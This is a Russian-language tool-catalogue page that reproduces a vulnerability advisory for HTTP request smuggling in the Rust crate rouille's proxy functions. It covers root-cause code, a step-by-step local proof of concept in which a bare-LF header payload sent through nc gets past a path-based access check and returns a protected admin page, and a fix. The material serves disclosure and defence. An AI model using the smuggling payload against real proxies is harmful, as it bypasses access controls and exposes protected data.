Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille- — Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille) | Kitploit
Инструменты/GitHubGitHub/theopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubtheopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-

CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille-

Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille)

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
23 дней назадЕщё не проверено

Бюллетень безопасности: смагглинг HTTP-запросов позволяет обойти контроль доступа на фронтенде (rouille)

Назначенный идентификатор CVE: CVE-2026-67182

Сводка

rouille::proxy::proxy и rouille::proxy::full_proxy копируют значения заголовков запроса, переданные клиентом, в подключение к вышестоящему серверу без проверки на управляющие символы. Значение заголовка может на законных основаниях содержать одиночный перевод строки (0x0A), поскольку базовый парсер заголовков tiny_http завершает строку заголовка только на CRLF. Поэтому бэкенды, принимающие одиночный LF в качестве завершителя строки, читают один запрос фронтенда как два.

Второй запрос полностью управляется атакующим, включая его метод и путь, и никогда не проходит через обработчик rouille, который решил проксировать первый запрос. Тело его ответа также возвращается атакующему.

Затронутые версии

URL репозитория: https://github.com/tomaka/rouille

Первая затронутая0.3.3 (2016-12-03), релиз, в котором появился src/proxy.rs
Последняя затронутая3.6.2 (2023-04-24), текущий релиз
Не затронутые0.3.2 и более ранние, в которых нет модуля proxy
Исправлено вна момент написания исправленной версии нет

Каждый опубликованный релиз с 0.3.3 по 3.6.2 содержит неизменённый код. Файл src/proxy.rs побайтово идентичен между тегом 3.6.2 и текущей веткой master.

Затронуты только приложения, которые вызывают proxy::proxy или proxy::full_proxy.

Серьёзность

CWE-444 (Несогласованная интерпретация HTTP-запросов), достигаемая через CWE-113 (Некорректная нейтрализация CRLF-последовательностей в HTTP-заголовках).

Базовый балл CVSS 4.0: 6.9 (средний) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N

Модель угрозы

Атакующий — удалённый неаутентифицированный клиент, который может отправлять сырые HTTP-запросы на сервер rouille. Не требуются учётные данные, взаимодействие с пользователем или позиция в сети между компонентами.

Под риском находится приложение rouille, работающее как обратный прокси, которое принимает решение по безопасности (маршрутизация, аутентификация, авторизация или фильтрация контента) до вызова proxy(), перед бэкендом, чей HTTP-парсер принимает одиночный LF в качестве завершения строки заголовка.

Измеренное поведение бэкендов:

nginx и Apache не тестировались. RFC 9112, раздел 2.2, разрешает получателю распознавать одиночный LF как завершитель строки, поэтому принимающие бэкенды действуют в рамках спецификации.

Первопричина

rouille/src/proxy.rs, строки 157–174:

root@kitploit:~
157      for (header, value) in request.headers() {
158          let value = if header == "Host" {
159              if let Some(ref replace) = config.replace_host {
160                  &**replace
161              } else {
162                  value
163              }
164          } else {
165              value
166          };
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

Строка 171 — это сток (sink). value недоверенное и записывается без проверки.

Недоверенные данные (taint) проникают через tiny_http. В tiny_http-0.12.0/src/client.rs, строки 80–102, строка заголовка завершается только тогда, когда за CR следует LF:

root@kitploit:~
 92              if byte == b'\n' && prev_byte_was_cr {
 93                  buf.pop(); // removing the '\r'
 94                  return AsciiString::from_ascii(buf)
 95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
 96              }
 97  
 98              prev_byte_was_cr = byte == b'\r';
 99  
100              buf.push(byte);

Одиночный LF проходит до строки 100 и помещается в буфер строки. LF — допустимый ASCII, поэтому AsciiString::from_ascii принимает его. Header::from_str в tiny_http-0.12.0/src/common.rs на строке 184 затем только обрезает значение, удаляя ведущие и завершающие пробельные символы, но оставляя внутренние байты нетронутыми:

root@kitploit:~
187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188          let value = elems
189              .next()
190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191              .ok_or(())?;

В результате значение заголовка rouille содержит сырой \n, и строка 171 proxy.rs записывает его прямо в запрос к вышестоящему серверу.

Заголовок Connection: close в строке 173 не спасает ситуацию. Внедрённая пустая строка завершает первый запрос до выполнения строки 173, поэтому этот заголовок поглощается внедрённым запросом. Первый запрос не несёт заголовка Connection и по умолчанию использует keep-alive HTTP/1.1, что как раз позволяет бэкенду продолжить обработку второго запроса.

Доказательство концепции

Шаг 1. Создайте корневой каталог документов бэкенда с публичным файлом и файлом, который прокси должен защищать.

root@kitploit:~
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE"       > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html

Шаг 2. Запустите бэкенд с поддержкой keep-alive на порту 8001.

root@kitploit:~
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
    protocol_version = "HTTP/1.1"
    def log_message(self, f, *a):
        sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'

Шаг 3. Запустите фронтенд rouille на порту 8000. Он проксирует /public/ и отклоняет всё остальное.

root@kitploit:~
use rouille::{proxy, Response};

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        if !request.url().starts_with("/public/") {
            return Response::text("forbidden").with_status_code(403);
        }
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

Шаг 4. Убедитесь, что контроль доступа работает.

root@kitploit:~
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
root@kitploit:~
HTTP/1.1 403 Forbidden

Шаг 5. Отправьте один запрос к разрешённому пути, содержащий одиночный LF внутри значения заголовка. В команде ниже \n — это одиночный перевод строки, а \r\n — CRLF. Это различие и есть вся атака, поэтому не позволяйте редактору нормализовать его.

root@kitploit:~
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000

Результат. Журнал бэкенда показывает два запроса, причём второй — это путь, который фронтенд отклонил на шаге 4:

root@kitploit:~
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -

Атакующий также получает защищённый контент, поскольку строка 224 src/proxy.rs превращает остаток данных из сокета вышестоящего сервера в тело ответа:

root@kitploit:~
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked

d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18

SECRET ADMIN PAGE

Влияние

Неаутентифицированный клиент может отправить произвольный запрос бэкенду и прочитать его ответ, тогда как обработчик rouille видит только разрешённый запрос. Это обходит контроль доступа на основе пути, аутентификацию, выполняемую в обработчике, и любую проверку запроса, выполняемую до вызова proxy().

Стоит отметить два ограничения. proxy() открывает новое TCP-соединение для каждого запроса и не использует пул соединений, поэтому здесь нет отравления очереди запросов между пользователями, характерного для классического смагглинга. Кроме того, атаке нужен бэкенд, допускающий LF, как показано в замерах выше.

Устранение

Отклоняйте имена и значения заголовков, содержащие управляющие символы, перед записью их вышестоящему серверу. В src/proxy.rs, внутри цикла на строке 157:

root@kitploit:~
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
    || value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
    return Err(ProxyError::HttpParseError);
}
Скачать инструмент
БэкендПротестированная версияПринимает внедрённый LF
Go net/httpgo1.26.4да, обслуживает внедрённый запрос
Python http.server (protocol_version = "HTTP/1.1")CPython 3.13да, обслуживает внедрённый запрос
Node.jsv26.3.0нет, возвращает 400 (строгий режим llhttp)
PHP built-in server8.5.8нет, разрывает соединение